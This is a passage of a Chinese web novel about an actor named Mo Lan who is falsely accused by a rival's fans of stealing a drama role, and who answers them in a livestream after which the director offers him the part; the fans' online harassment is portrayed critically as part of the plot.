那群人恨墨澜恨到什么地步,恨到墨澜喝杯贵一点的矿泉水她们就会嘲讽墨澜看不上普通人平价矿泉水,墨澜喝平价矿泉水她们就会嘲讽墨澜明明是顶流还买不起贵一点的品牌矿泉水。 墨澜吃辣,说墨澜看不起清淡饮食的粤市,墨澜是清淡的,说墨澜看不上山城,墨澜吃米饭不吃馒头也会被骂看不起这那的地域文化差异。 总归是墨澜做什么都不做。 大抵是因为这种事太多次了,墨澜本人其实已经有点佛系,甚至有种爱咋咋地的感觉。 墨澜这个人其实天生的性子淡,对很多事情都不是很在意。 可有些网友却一定要怒骂,时间久了,墨澜也就看开了。 回复这些人做什么?浪费时间浪费精力,这群人还听不懂人话。 墨澜后来就不在意这群网友说的话了,毕竟脑子正常的也不会在网络上随意开麦的。 很久之前墨澜还很喜欢在网络上跟网友们互怼,可时间久了墨澜也觉得无聊,后来也就很少跟网友互怼了,觉得没意思。 所以后期的墨澜其实是有人佛系的。 所以这次看到温栩栩这么被骂,恍恍惚惚的都要觉得看到自己当初被骂是什么模样了。 这种感觉怎么说呢,有点难评。 所以这次墨澜登录微博特别搜索了《灵媒》剧组的官博,看到了官博现在放出来的关于温栩栩的一组宣传剧照,虽然只看到了侧脸,可就是很好看,一眼看过去就觉得惊艳。 墨澜觉得那群人是真有意思啊,这都说丑,真的是需要去看看眼睛了。 墨澜为此发了一条微博,只一句话,很简洁,都没加什么修饰词语,特别的直白“期待《灵媒》”。 墨澜的粉丝们本来都还在为了墨澜跟路人那边说不信谣不传谣,墨澜跟灵媒没关系的,结果墨澜自己冒头发了句期待灵媒。 粉丝都快哭了,哥啊,咱就不能老实一点吗,还觉得自己名气不够大吗,就发这么一条都够引起娱乐圈的动荡和腥风血雨了。 果然墨澜发了这条微博后,不仅墨澜自己和灵媒登上热搜了,就连温栩栩也对着墨澜登上了热搜。 第1081章 顶流之争 #墨澜温栩栩# #墨澜期待《灵媒》# #墨澜早起作品剪辑# #墨澜抢角色# 墨澜光荣的登上了热搜,成唯的粉丝闻着味儿的就过来了,这会儿大肆宣扬墨澜抢角色,墨澜不回应还好 ,墨澜回应了那就是墨澜的错。 墨澜其实没有要抢角色的意思,单纯的就发了一条微博,可谁能知道成唯粉丝接受不来。 成唯粉丝本就看不上墨澜,最主要原因是墨澜太优秀了。 她们整天说成唯是顶流男明星,可事实上网络上的人都知道顶流男明星是墨澜,所以成唯被墨澜压了一头她们心里不痛快了。这会儿疯狂辱骂了。 成唯的粉丝攻击力还是很可疑的,因为成唯的粉丝未成年人太多,心智不稳,很容易就被人带节奏,现在就在追着墨澜骂,可以说把成唯这次被换角色全都推到了墨澜的身上。 因为成唯之前刚杀青的热门大戏为他镀上一层金边,代言邀约如雪片般涌向工作室,粉丝数在短短几天内飙升百万,这位曾被低估的实力派演员,终于以无可争议的姿态站在了聚光灯中央。 他的爆火像一面镜子,映照出娱乐圈的残酷法则,流量与实力并存者,方能登顶。 然而,这份光芒却刺痛成唯的粉丝,那些自诩为“顶流守护者”的粉丝,正以近乎疯狂的姿态,将墨澜推向舆论的深渊。 成唯粉丝的愤怒来得毫无征兆。 她们早就在娱乐圈的暗涌中对墨澜积累了怨怼,成唯被媒体称为“顶流男明星”,可每当数据榜单公布,墨澜的名字总如一座不可逾越的山峰,将成唯压在次席。 她们不甘,不甘自家偶像被“压一头”,不甘那份本该属于成唯的荣耀被他人掠夺。 而《灵媒》角色的替换,恰似一根导火索,点燃了她们积蓄已久的嫉妒与怒火。 社交媒体上,成唯粉丝的控评大军如蝗虫过境,将墨澜的微博评论区撕成一片狼藉。 成唯粉丝的战斗力令人胆寒,而这暴烈背后,是一支以未成年为主力的军团。 她们心智未稳,情绪如野火般易被煽动。有人故意在粉丝群散布“墨澜团队买通片方”的谣言,有人伪造截图诬陷墨澜粉丝辱骂成唯,更有人以“为哥哥讨公道”之名,号召集体举报墨澜代言品牌。 社交媒体成了她们的审判场,每一句“墨澜滚出娱乐圈”的呐喊都像一枚钉子,将墨澜钉在“资源掠夺者”的耻辱柱上。 她们的逻辑思维方式同样令人窒息。 成唯试镜=角色已定,宣传=板上钉钉,替换=墨澜抢角。 所有中间环节的合理性被全然抹杀,片方的专业判断被贬为“资本勾结”。 最疯狂的言论甚至蔓延至人身攻击:“墨澜不就是靠脸吗?没实力还抢资源!” “他家里是不是穷疯了?连哥哥的剩饭都要抢!” 未成年特有的极端思维与网络匿名性结合,将这场骂战推至失控边缘。 热搜词条“墨澜抢角”持续霸榜,评论区血腥程度堪比战场,每刷新一次,都有新的恶毒评论涌现。 这场闹剧折射出娱乐圈的畸形生态。墨澜的优秀本应是行业的幸事,却在粉丝的嫉妒中异化为“原罪”。 他演技精湛,从《孤岛骡帮》中满身尘土的赶骡人,到《风雨》里亦正亦邪的萨满巫师,每个角色都刻入观众骨髓。拍摄《灵媒》时,为还原萨满仪式,他在零下十度的挪威冰原赤足奔跑,冻伤双脚仍坚持完成镜头。可这些,在成唯粉丝的眼中,不过是“抢资源”的伪装。 娱乐圈的“顶流”之争,早已异化为粉丝的零和博弈。 成唯粉丝将偶像的“尊严”与“资源”捆绑,视任何竞争者为敌人。 她们看不见成唯自身的成长空间,只将失败归咎于“他人抢夺”,用辱骂为偶像“讨回公道”。 而墨澜,这位本应在掌声中享受成果的演员,却被迫卷入一场无妄之灾。 不过是发了一条微博,怎么就被追着骂了? 可事实上墨澜确实还是小看他自己了,这位又忘记了自己是发什么都会被骂的体质了。 成唯的粉丝现在怎么看墨澜怎么不顺眼。 深夜的社交媒体上,成唯粉丝聚集的论坛像一座沸腾的火山。 墨澜的名字被红色高亮标注,每个相关帖子都充斥着尖锐的质问、诅咒与煽动。 她们自称“唯粉”,以守护偶像为名,将墨澜视为必须除掉的“眼中钉”。一场名为“讨伐”的狂欢正在上演,这样汹涌的恨意全都射向了墨澜。 “墨澜是不是真的有点毛病,他自己是多缺通告和本子?现在都要来抢我们成唯的本子?不是说墨澜看不上我们成唯的本子?现在倒是凑过来抢东西了?要不要脸啊墨澜!” “墨澜家的粉丝整天追着说我们哥哥,现在是不是要道歉?现在全网都知道墨澜抢我们哥哥的东西了!” “成唯先看到的剧本,成唯去试镜,成唯被定下男主角角色,我们粉丝疯狂宣传,结果最后被墨澜抢走了资源,换谁谁也不能忍!到最后了把果子抢了,你们真当我们是死了吗!” “墨澜把角色给我们吐出来!你不是顶流吗!顶流还需要抢别人角色!” “姐妹们!去墨澜代言的品牌官博下刷差评!让他知道抢资源的代价!” “@所有人,转发这条‘墨澜抢角’微博,带上#墨澜强盗#话题,冲到热搜第一!哥哥的委屈不能白受!” “我恨死墨澜了!凭什么他样样比我们哥哥强?哥哥这么努力却被他踩在脚下,不公平!” 这些粉丝将偶像的“失败”等同于自己的耻辱,将“讨伐墨澜”视为神圣使命。 有人甚至逃课刷帖,熬夜制作攻击墨澜的表情包,将他的照片与“小偷”“吸血鬼”等形象恶搞拼接。 她们的恨意毫无逻辑,墨澜的优秀成了“原罪”,他的沉默被解读为“心虚”,连他过往的慈善事迹都被扭曲成“洗白炒作”。 第1082章 怎么就这么癫呢 “我们哥哥被抢角,全网都欠他一个道歉!” 成唯粉丝构建了一套自洽却荒谬的“受害论”体系。 她们深信,成唯的每一步都被墨澜“算计打压”: “成唯先看到的剧本,成唯去试镜,成唯被定下男主角角色,结果墨澜半路截胡!这不就是明抢吗?” “墨澜粉丝别来杠!说我们哥哥不如墨澜?那为什么每次资源都是他抢走?你们家哥哥倒是有本事别抢啊!” “全网都知道墨澜抢角色了!他但凡有点良心就该立刻退掉《灵媒》,把资源还给成唯!” 她们拒绝承认片方选择演员的专业考量,将一切归咎于“墨澜的抢夺”。 甚至有人将成唯过往的演技争议、数据造假风波,都怪罪到墨澜头上,仿佛他是一切不幸的源头。 这种扭曲的逻辑在群体中不断强化,最终演变成一场集体癔症,在她们的眼中墨澜必须为成唯的所有“失败”负责。 成唯粉丝的恨意,本质是对“顶流”名号失落的恐慌。 她们坚信成唯才是娱乐圈的“真顶流”,却不得不面对数据、奖项、路人盘被墨澜碾压的现实。 这种落差催生了畸形的嫉妒。 “墨澜不就是靠脸吗?没实力还抢资源!我们哥哥有颜值有流量,凭什么被他压着?” “他家里是不是穷疯了?连哥哥的剩饭都要抢!真给顶流丢脸!” “墨澜粉丝天天吹他演技好,结果还不是靠抢角上位?有本事别抢啊!” 她们将墨澜的成功妖魔化,用最恶毒的词汇抹杀他的努力。 甚至有人翻出墨澜早年未火的时期照片,嘲笑他“曾经糊得查无此人”,却无视他一步步用作品攀登的艰辛。 这种攻击不仅针对墨澜个人,更试图否定他的整个演艺生涯,仿佛只要将他踩入泥潭,成唯便能重新戴上“顶流”的王冠。 这场由角色替换引发的狂喷,早已超出事件本身。 成唯粉丝的仇恨如同毒雾,不仅侵蚀墨澜的名誉,更折射出娱乐圈病态的生态。 在墨澜与成唯粉丝的硝烟战中,偶尔会有零星路人试图拨开迷雾。他们或许曾欣赏墨澜的演技,或反感成唯粉丝的极端行径,于是鼓起勇气在热搜评论区写下几句客观之言。 然而,这些微弱的声音很快被成唯粉丝的狂潮吞没,最终化作一场逼仄的“注销逃亡”。 某条质疑“墨澜抢角”的热搜下,ID为“电影观察者”的网友留言:“角色替换可能有多种原因,片方专业选择不应被粉丝情绪绑架。墨澜过往作品质量有目共睹,与其无端谩骂,不如期待成品。”这本是理性讨论,却瞬间点燃了成唯粉丝的怒火。她们如嗅到血腥的鲨鱼,成群涌向这条评论。 “装什么理中客?墨澜的舔狗罢了!” “你收了多少钱替他洗地?户口本查过了吗?” “敢为墨澜说话?等着被爆隐私吧!” 回复区眨眼间被上千条辱骂攻陷,评论区沦为战场。 更可怕的是,成唯粉丝开始“人肉搜索”,扒出该网友的微博小号,发现其曾点赞墨澜相关动态,立刻截图传播:“看!早就暴露了!墨澜职粉假扮路人!” 私信轰炸随之而来:“滚出网络!支持强盗你全家都不得好死!” “把你地址发出来,让你知道什么叫现实教训!” 甚至有人冒充律师发送“侵权警告函”,伪造法院传票图片。 这位网友起初试图辩解:“我只是说出事实……”,但辱骂如洪水般淹没回应,最终他删除所有动态,注销了账号,如同被“社会性死亡”般消失在网络世界。 “电影观察者”并非孤例。 成唯粉丝的“追杀”机制已成体系,任何为墨澜发声者,都会被标记为“敌人”,遭受持续骚扰。 一位大学生网友因评论“成唯粉丝比正主戏多”而被粉丝群围攻,她们潜入其学校超话曝光其学号,威胁向校方举报“言论不当”,某职场博主分析娱乐圈竞争现状,提及墨澜实力优势,被粉丝私信诅咒“职场失意、婚姻破裂”,不堪重负下关闭评论区并声明“不再讨论娱乐圈”。 更令人窒息的是,粉丝甚至攻击路人的客观中立。 当有人呼吁“理性讨论”时,她们反问:“你凭什么中立?墨澜抢角证据确凿,不支持成唯就是敌人!”这种逻辑的暴烈性,迫使无数路人退场,要么保持沉默,要么在精神压力下彻底逃离网络空间。 成唯粉丝的“追杀式攻击”折射出畸形的群体心理,她们将偶像的“资源争夺”视为不容置疑的“战争”,任何异议都被视为“叛徒”。 “为墨澜说话”等于“背叛成唯”,而“背叛”必须被消灭。 这种“清零式”暴力不仅摧毁了路人的发声权,更撕裂了网络生态的理性基础,当真相与讨论被情绪吞噬,只剩粉丝的狂欢与路人的逃亡。 经纪人看到网络上的风暴人都已经彻底傻了,这是真不知道事情会发展到这一步啊! 成唯的粉丝怎么就能这么癫呢! 路人还说什么说? 就现在这样子,就算是路过的狗都要被称为粉丝踹一脚了! 路人现在已经不敢开麦了,因为成唯粉丝太会骂了,是追着骂,一不小心就给你开户了,她不是骂你一个人,是骂你全家,什么恶毒的词汇都能蹦出来。 其它几家流量的粉丝都在看戏,反正跟自家哥哥姐姐无关,墨澜的粉丝这一次算是被彻底惹恼了。 墨澜的粉丝群体其实有很多都是各行各业的精英。 成唯的粉丝不是都说墨澜抢角色,成唯被欺负吗?有是圈子里的人能联系到秦扬帆,甚至直接要到了试镜视频,就打算打脸成唯了。 你不是说成唯优秀演技精湛吗? 那来这里好好看看,这叫什么演技精湛? 在试镜视频里面成唯被温栩栩压戏压成什么了?这叫演技精湛?这连及格线都不够! 第1083章 直播,来 墨澜粉丝群体的精英背景在此刻显露锋芒。她们中不乏娱乐行业从业者、资深媒体人、数据分析师,在愤怒与不甘的驱使下,迅速启动人脉网络。 有人联系到片方工作人员,以“保障艺人权益”为由施压,最终拿到了试镜原始素材。 视频一经发布,标题尖锐如刀:“《灵媒》试镜实录:当‘顶流演技’遇上真正的实力派。” 视频内容如同一面照妖镜,将成唯的短板暴露无遗。 片段中,成唯饰演的游远本该展现神秘与癫狂的交织,但他的表演却僵硬如木偶,台词吞吐不清,情绪切换全靠吼叫,甚至多次忘词后尴尬卡顿。 反观温栩栩,她将角色内心的挣扎演绎得层层递进,从隐忍的颤抖到爆发的嘶吼,眼神里藏着绝望与执念的拉锯战,连旁观的工作人员都忍不住侧目惊叹。 对比之下,成唯的表演如同稚童模仿大师,滑稽且空洞。 视频迅速引爆社交媒体,评论区成了成唯演技的“处刑场”: “笑死,这就是成唯粉丝吹上天的‘神级演技’?连对手演员的尾气都吃不到。” “温栩栩一开口,成唯直接变成背景板。这差距不是碾压,是降维打击。” “粉丝不是说他试镜完就被定角了吗?就这水平也能被定?片方瞎了眼?” “建议成唯粉丝别再吹‘顶流’了,先把哥哥的台词基本功补补吧!” “成唯没少营销他的演技,之前不是还有买过热搜说什么同年代的演员长得好看的没有他的演技,演技好的没有他的颜值,现在的?翻车了吧,当人家墨澜死了是吧,去看看墨澜什么颜值什么演技,真想闹腾先火到国外去,知不知道在国外成唯几乎是查无此人的程度。” 更有人截取视频片段制作鬼畜视频,将成唯的忘词片段循环播放,配文“当代娱乐圈演技之耻”。 热搜词条“成唯试镜翻车”持续霸榜,嘲讽声浪席卷而来。 而其他流量粉丝则集体“吃瓜看戏”,在评论区幸灾乐祸:“让你们一直营销演技,现在露出原形了吧!” “墨澜粉丝这次真是被坑惨了,替他们默哀三秒。” 成唯粉丝的“优秀演技论”在视频铁证前彻底崩塌。 有人试图辩解“这是剪辑恶意对比”,却遭网友反击:“原片无剪辑,自己去看看温栩栩其他片段,那叫一个绝!” 还有人转移焦点攻击温栩栩:“她不过是个十八线,凭什么和顶流比?”然而,这种苍白反驳只让嘲讽更甚——“十八线都比你家哥哥强,脸疼吗?” 墨澜粉丝则抓住机会反击,将视频截图配上文案“所谓抢角?不过是片方选择了真正的实力者”,成功扭转舆论风向。 这场本欲“打脸”的曝光,最终成了成唯粉丝信誉的“自杀式爆破”。 试镜视频事件如同一面血淋淋的镜子,映照出娱乐圈的残酷法则。 成唯粉丝的精英背景、数据操作、人脉资源,在真实演技面前不堪一击。 她们曾用“流量”为成唯筑起高墙,却因一次失误暴露了墙内空洞的本质。 这场闹剧最终以成唯粉丝的溃败告终,但留下的伤痕却难以愈合。她们从“正义使者”沦为全网笑柄,曾经的“顶流守护”标签,此刻成了嘲讽的靶子。 成唯的粉丝怎么可能就这样退缩,她们不觉得成唯有什么错,此刻甚至气愤到认为墨澜粉丝欺人太甚。 暴跳如雷的怒骂成唯先试镜,墨澜是抢了成唯的角色,他怎么就不知道先来后到呢!骂的很难听。 墨澜本来脾气就不是多好,有那么点犟。 经纪人这是被迫看了一场网络舆论大战,就差没在心里给墨澜叩头让他别折腾了。 可墨澜如果这么听话那就不是墨澜了。 经纪人实在忍不住给墨澜打电话,祖宗这次接电话了。 “祖宗!我不是说了让你别掺和跟成唯温栩栩有关的事情吗?你非要凑上去干什么,你说你得到什么好了?连着上了多久的黑热搜?祖宗,爽了是不是!” 经纪人这是在指责,墨澜“嗯哼”一声:“是挺爽的。” 被骂了,祖宗还舒坦了。 经纪人都要被气笑了。 “行,你现在别再掺和了,你粉丝已经帮你骂回去了,别再吱声了,算我求你了!” 墨澜没说话,沉默就是拒绝,经纪人可太理解墨澜的心思了。 “祖宗!你还想干什么啊!”经纪人这次喊得几乎是撕心裂肺了。 墨澜轻笑:“这么大反应干什么,别担心,我只是想为我粉丝出口气而已。” 经纪人倒吸了口凉气,正要再问呢,墨澜已经把电话挂了。 不是? 你到底要干什么啊! 结果收到微博提醒。 【您特别关注的‘墨澜’上线啦。】 【快去看他说了什么吧】 【您特别关注的‘墨澜’发微博啦。】 经纪人:“……” 活祖宗啊! 经纪人颤抖着手点开墨澜的微博。 【墨澜】:直播,来。 只三个字,经纪人是眼前一黑又一黑的程度。 墨澜直播,墨澜的嘴啊……她都已经一年没让墨澜直播了。 因为这祖宗每次直播都要闹点乱子出来,不是说墨澜本人有什么问题,单纯是这张嘴想到什么说什么。 服了,真服了。 可真要管也管不住墨澜了,这人早前出道的时候是个小糊糊,那个时候因为公司不公都敢直接掀桌子的人,现在都已经是圈内顶流,公司总裁为了留住墨澜主动送股份放权给墨澜。 可以说墨澜现在都能是他老大,管?管不了一点。 算了,祖宗要发疯,他还能拦着? 墨澜的果然开了直播,墨澜的粉丝们一股脑儿的冲进了直播间,全都在“啊啊啊”的喊着哥哥老公乱喊一通。 而墨澜,正对着镜头调整角度。 他倚在沙发上,身后是散落的剧本和半冷的咖啡杯,衬衫袖口随意卷到手肘,露出线条利落的小臂。 直播间的卡顿让他蹙眉,却不妨碍他唇角勾起的弧度,那笑眼弯成月牙,眼底的光像是银河碎屑洒落,直砸得屏幕外的少女们心跳乱颤。 第1084章 路过的狗都要被踹一脚 “大家晚上好啊。” 他的声音透过电流声传来,带着些许慵懒的沙哑,仿佛一根羽毛轻扫过耳廓。弹幕瞬间炸裂,满屏的“啊啊啊啊”如浪潮席卷: {老公!老公!老公!} {哥哥!我们来了!} {啊啊啊卡了也挡不住你的盛世美颜!} {墨澜!墨澜!墨澜!} 墨澜的粉丝们早已练就“抗卡顿”神功,即便画面延迟三秒,她们仍能精准捕捉偶像的每个微表情。 老粉们默契地在弹幕里带节奏,新粉则忙着截图,毕竟墨澜直播的次数屈指可数,每次都是“限定珍藏版”。 经纪人在监控后台焦躁踱步。 他盯着飙升的在线人数,耳机里传来技术团队的汇报:“哥,流量还在涨!再不开分流通道,服务器真要废了!” 王浩咬牙下令,却瞥见直播间里墨澜的神情,他竟真的像没事人一样,甚至伸手捞起沙发边的猫,让那只布偶猫趴在他肩头,镜头恰好捕捉到猫爪轻挠他脸颊的互动。 {啊啊啊澜澜的猫!吸猫!} {崽崽别挠哥哥脸!妈妈不允许!} {猫:这男人总抢我镜头(猫猫表情包)} 弹幕画风突变,从“撕逼大战”秒切“云吸猫”频道。 墨澜轻笑出声,指尖揉着猫耳:“小坏蛋,今晚你比我还抢镜。”那语气宠溺得能滴出水,却让经纪人背后发凉,这祖宗,又在打什么算盘? 他有一双带着笑意的眼睛,这样一笑出来眼底都好像盛放着无数颗小星星。 直砸的人心尖乱颤。 {哥哥晚上好!} {老公我们要被成唯家粉丝气死了不过我们有帮你出气哦!} {哥哥有没有影响你的心情!} {哥哥要好好休息啊!} 直播间都是关注墨澜的,墨澜倒像是没有受到影响,好像根本没有被成唯粉丝影响。 不过他不提成唯,成唯粉丝却已经冲进来了,在直播间大骂墨澜。 {墨澜你还要不要脸了!《灵媒》已经定了我们哥哥!你为什么还要突然插进来!} {好恶心好恶心好恶心!喜欢抢资源的丑八怪!} {你这么喜欢《灵媒》你是不是跟温栩栩有一腿?温栩栩是你是你的小情人!} {成唯你说话啊!你为什么不说话!} 成唯粉丝愤怒刷屏,墨澜粉丝更怒了! 谁搭理你们了! 最初就因为路人说了句墨澜可能接这部剧就开始狂喷,直接变成了墨澜已经接了这部剧,喷了多久啊!骂的那么难听,他们也只是回击,可现在这群人还来劲了,骂成这样了,凭什么啊!你们配吗! 眼看着直播间被成唯粉丝搞得乌烟瘴气,直播间的管理员已经打算踹人了,可万万没想到墨澜开口竟然是阻止管理员踢人。 “不用踢出去。” “她们的问题我都可以回答。” 同样在看直播的经纪人倒吸了口凉气,赶紧送了几颗流星雨成了榜一,这次发弹幕都成了金闪闪的颜色。 【别疯了啊祖宗!别说话了成吗!好好休息成吗!】 墨澜一看就知道是经纪人,直接当眼瞎了没看到。 粉丝们本来还因为成唯粉丝气呼呼的,现在看到经纪人这样没忍住笑喷了。 粉丝们也是知道经纪人管不住墨澜的。 之前有一次下大雨,本来是墨澜在剧组拍戏,粉丝们想来探班,经纪人不准他出去,墨澜也没听,加班加点拍完那段戏给她们买了热饮担心当天雨太大她们不方便回去还定了酒店,跟他们一起合影,特别暖心。 当然,暖心归暖心,但也的确是气到经纪人了。 这次墨澜又没听经纪人的,开直播不说还打算怼成唯的粉丝了,她们乐的看戏,心里也是想知道墨澜到底想说点什么。 墨澜看到成唯粉丝还在自己直播间疯狂刷屏,他的表情还是淡淡的,只是微微扬眉,带着点耐人寻味的意味儿。 “我现在人在国外,如你们所见,并没有时间参加试镜。” 他的指尖无意识地摩挲着咖啡杯沿,笑意却在眼底凝结成冰,这冷意自然不是对着自己粉丝的,而是对着成唯粉丝的。 直播间弹幕瞬间炸开,粉丝们早已按捺多时的怒火与困惑如潮水涌出: {哥哥!他们说你抢角色!} {成唯粉丝疯了一样!} {澜哥,我们被骂惨了!} 墨澜的视线扫过弹幕,忽然轻笑出声。那笑声像一片羽毛掠过湖面,却让水面下暗流涌动。 他微微倾身,镜头拉近,那张脸在柔光下仿佛被神祇亲手雕琢,眉骨凌厉如刀,眼尾却弯成惑人的弧,矛盾的美感令人屏息。 他开口时,每个字都带着清晰的刃:“如果我没记错,秦扬帆导演的《灵媒》今天只是试镜海选。除了女主角,其他角色都悬而未决,连合同都没签。” 直播间突然安静了三秒,随即掀起更剧烈的风暴。墨澜的话如一道闪电劈开迷雾,粉丝们的震惊与恍然交织成弹幕的洪流: {所以成唯根本就没被定下?!} {对家撒谎不打草稿吗?!} {他们凭什么说哥哥抢角色!} {角色都没定成唯家还疯了一样的胡说八道!} 他继续娓娓道来,语气平静却暗藏锋芒:“试镜是什么意思?是让剧组评估形象和演技是否合适。不合适?换人。显然成唯不合适,所以被刷下来。剧组从未官宣过他,只发了女主角的物料,连侧脸视频都算数。若粉丝硬说成唯是‘游远’,那请他爆合同,在我看来,他拿不出来。” 屏幕外的经纪人攥紧了拳头。 墨澜的每句话都像精心校准的子弹,精准射向成唯粉丝逻辑的漏洞。 他原以为墨澜会情绪化反击,却没想到他选择用娱乐圈最硬的规则,合同与官宣作为武器。 直播间的粉丝早已从愤怒转为亢奋,她们开始自发整理墨澜的澄清逻辑,甚至有人截图对家疯言疯语的帖子,准备作为反击证据。 其实也不用怎么整理,因为现在遍地都是成唯粉丝的风言风语。 路过的狗都要被成唯粉丝骂几句踹几脚的程度。 第1085章 抢角一说,无稽之谈 墨澜的唇角笑意渐深,他忽然话锋一转:“所以,角色从来不是成唯的,抢角一说,无稽之谈。”这句话轻得像一声嗤笑,却让成唯粉丝的狂欢瞬间沦为笑话。 直播间路人涌入,弹幕里夹杂着惊叹: {墨澜这逻辑太绝了} {原来顶流不是靠脸,是靠脑子} {粉丝行为,偶像买单,成唯家活该} 然而墨澜并未停歇,他仿佛要将所有是非黑白剖开给世人看:“其次,我人在国外休假,对《灵媒》本不关注。但成唯粉丝的疯狂,倒让我对‘游远’一角生了兴趣。” 他轻笑一声,指尖在桌上轻敲,节奏像猎人扣动扳机的韵律,“若我参与试镜未中,希望粉丝们别学某些人,刷什么‘角色囊中之物’。我是墨澜,戏中是角色,戏外只是墨澜。看戏时你们是观众,不看时,我是独立的个体,望诸位理解。” 这句话如重锤击在粉丝心头。她们忽然意识到,墨澜不仅在澄清,更在保护她们。 那些被成唯粉丝追着骂到退圈的姐妹,那些因维护偶像而被扒隐私的伤痛,他一字一句都记在心上。弹幕瞬间转为心疼与愧疚: {哥哥,我们错了,不该乱刷屏} {以后我们只做理智粉!} {澜哥,你心疼我们,我们也心疼你啊} 墨澜的眼底终于泛起暖意。 他伸手揉了揉不知何时蹭上镜头的猫,那动作温柔得像在安抚屏幕外的粉丝:“娱乐圈的规则,本就是能力与机遇并存。我若试镜,凭实力争角色;若落选,坦然接受。就这么简单” 直播间外,成唯粉丝的后援群早已乱作一团。 墨澜的澄清如多米诺骨牌,推倒了他们精心搭建的谎言高塔。有人试图反驳,却发现墨澜的每一句都紧扣事实,无从下口;有人转移话题攻击墨澜国外休假“不敬业”,却被路人反呛:“休假都要被你们诅咒,可见你们多恶毒。” 而墨澜,始终笑得闲适如初。 墨澜说的一段话路人都能明白什么意思。 解释成唯没有被顶下,解释自己因为成唯粉丝发疯所以想试镜灵媒的游远,但是又约束了自己的粉丝不要像成唯粉丝那样疯狂。 这何尝不是对成唯粉丝的一种嘲讽呢。 粉丝们也纷纷刷屏支持,不过也有人嘲讽成唯粉丝的。 {哥哥放心,我们只是试镜,合适我们就演,不合适我们就好好休息嗷} {我们才不会故意乱宣传呢!} {墨澜哥哥解释的这么清楚了,有些人再不懂那就是没脑子啦!} 经纪人可算是松了口气,虽然是吐槽了成唯,但也没有说更多更过分的话了,经纪人已经很满足了,祖宗这算是口下留情了。 成唯倒还是那副淡淡的模样,根本不知道自己这段话让成唯粉丝有多破防。 成唯粉丝还在咒骂。 {你说我们哥哥没签约就没签约吗?你是秦扬帆吗你能知道的这么清楚?} {说的冠冕堂皇不过是只会哄自己的粉丝!} {我们成唯哥哥都试镜失败的话凭什么你能成功!你也一定会被刷下来的!} …… 墨澜开直播早就成了微博热搜头条,包厢内气氛还颇有些古怪,倒是秦扬帆接到了副导演的电话,告诉她有关墨澜开直播的事。 墨澜是谁秦扬帆是知道的。 跟墨澜合作过的没有不夸墨澜的,都会夸她低调敬业有涵养,所以秦扬帆对墨澜观感很好。 其实最初秦扬帆确实打算邀约墨澜来出演男主角,但墨澜实在是太红太火了,再加上现在墨澜在休假,所以就没联系墨澜,谁能想到这事儿还是跟墨澜有了联系呢。 秦扬帆点进直播间后刚好听到墨澜回复的那段话,不仅是在为剧组解释也是在为他自己解释。 秦扬帆心里实在是有些熨帖觉得墨澜性子确实是好。 “栩栩,你知道墨澜吗?” 秦扬帆问了句。 温栩栩自然也听到墨澜说了什么,抬头的时候就笑了下:“墨澜啊,谁不知道吗,大街小巷都是墨澜的广告牌,点开视频也很多都是墨澜的广告片。” 敬业低调相貌好的真正男顶流,怎么会不知道呢? “那你觉得让墨澜进组出演‘游远’的角色怎么样?”秦扬帆开口询问。 温栩栩是女主角,她自然是要问温栩栩的意见。 温栩栩怔了一下:“我当然没有问题,能跟墨澜老师合作是我的荣幸。” 秦扬帆脸上的笑意更大了。 她已经知道怎么羞辱成唯了。 温栩栩欣赏墨澜,墨澜想试镜,成唯粉丝还在墨澜直播间刷那些乱七八糟的,秦扬帆干脆利落的登录自己官方账号进了墨澜的直播间。 墨澜立刻就看到了,但粉丝没看到,路人没看到,还在不停刷屏。 墨澜也不知道秦扬帆想干什么,结果下一秒秦扬帆不停送流星雨把他的经纪人压到了下面。 这次秦扬帆的发言是金光闪闪的了,整个直播间的都能清楚的看到了。 【你的戏我看过,你的话不用试镜 ,方便的话直接进组。】 【真的有意稍后私聊我,剧本直接发你,如果还想休假这边可以先拍女主角的戏份多给你几天休息时间。】 秦扬帆没有提及半句成唯。 但好像处处都是成唯。 成唯需要试镜,还试镜不通过,墨澜不需要试镜可以直接进组,甚至可以为了墨澜先拍温栩栩的戏份,这不是偏爱是什么? 墨澜挑眉,他确实对《灵媒》有意思,也确实想去试镜,但没料到秦扬帆真的这么给面子进了自己的直播间说了这话,可以说确实是给他的脸上贴了金。 可成唯的粉丝却不干了,凭什么墨澜不需要试镜啊! 凭什么她们哥哥试镜了还没过!秦扬帆是不是区别对待啊! 粉丝们这样想也这样说了,之前在骂墨澜,现在在骂秦扬帆。 秦扬帆不疾不徐的回了一句话。 【答案你们应该都知道,试镜视频没看?演技烂台词烂,谢谢。】 第1086章 演技太烂 墨澜这人现在属于看热闹不嫌事儿大,被骂那就骂了,骂几句怎么了,反正那群人也不能把自己怎么样,秦扬帆呢?是导演,这群人更不能把她怎么样,她说的实在干脆。 问她为什么不用成唯,因为演技烂! 今天晚上成唯都闹出多少幺蛾子了? 秦扬帆会怕成唯的粉丝吗? 当然不会,哪怕成唯粉丝到处跳脚找茬,秦扬帆的戏还是有大把的明星想要拍。 而且成唯一家粉丝打得过多家粉丝吗?那简直跟开玩笑一样。 墨澜的流量更不用说,那可不是跟你开玩笑的,所以秦扬帆就这么开口说成唯演技不好了。 成唯就是演技不好啊,不仅演技不好还没情商,看看今晚都得罪了多少人?先是黎云笙,又是盛景炎和韩城的,房间里面几个人得罪了一个遍,最后还纵容粉丝在网络上胡乱咬人,秦扬帆对成唯实在是厌恶到一定程度了,此刻成唯的粉丝还在墨澜的直播间里面跳脚。 那她就要让这群粉丝知道她对成唯到底是多大的意见! 墨澜的经纪人也惊呆了。 以前只知道秦扬帆跟冯吴德曾经杠起来过,但是秦扬帆还没有公开嘲讽过哪个演员呢,成唯这也是……嗯,这也算是赶上好时候了? 呸!这都什么乱七八糟的!秦扬帆都开始怼人了,这算什么好时候啊! 墨澜发疯,现在秦扬帆也跟着发疯,这直播间都要炸了! 墨澜经纪人叫苦不迭,可别说拦着秦扬帆了,他连自己祖宗墨澜也拦不住啊! 秦扬帆这样说成唯演技不好,成唯的粉丝在直播间骂声更大的开始质问秦扬帆。 {我们成唯哪里演技不好了!你的演技才不好!} {那么多导演都夸我们哥哥演技好,就只有你说我们哥哥演技不好,到底是你的问题还是我们哥哥的问题?} {成唯的剧没看过吗?看都没看过就开始狂喷,你又是什么好东西!} 这些质问像复读机般循环刷屏,秦扬帆却忽然轻笑出声。 粉丝们嚣张气焰更甚,甚至涌向《灵媒》官博下刷屏:“让秦扬帆滚出娱乐圈!” 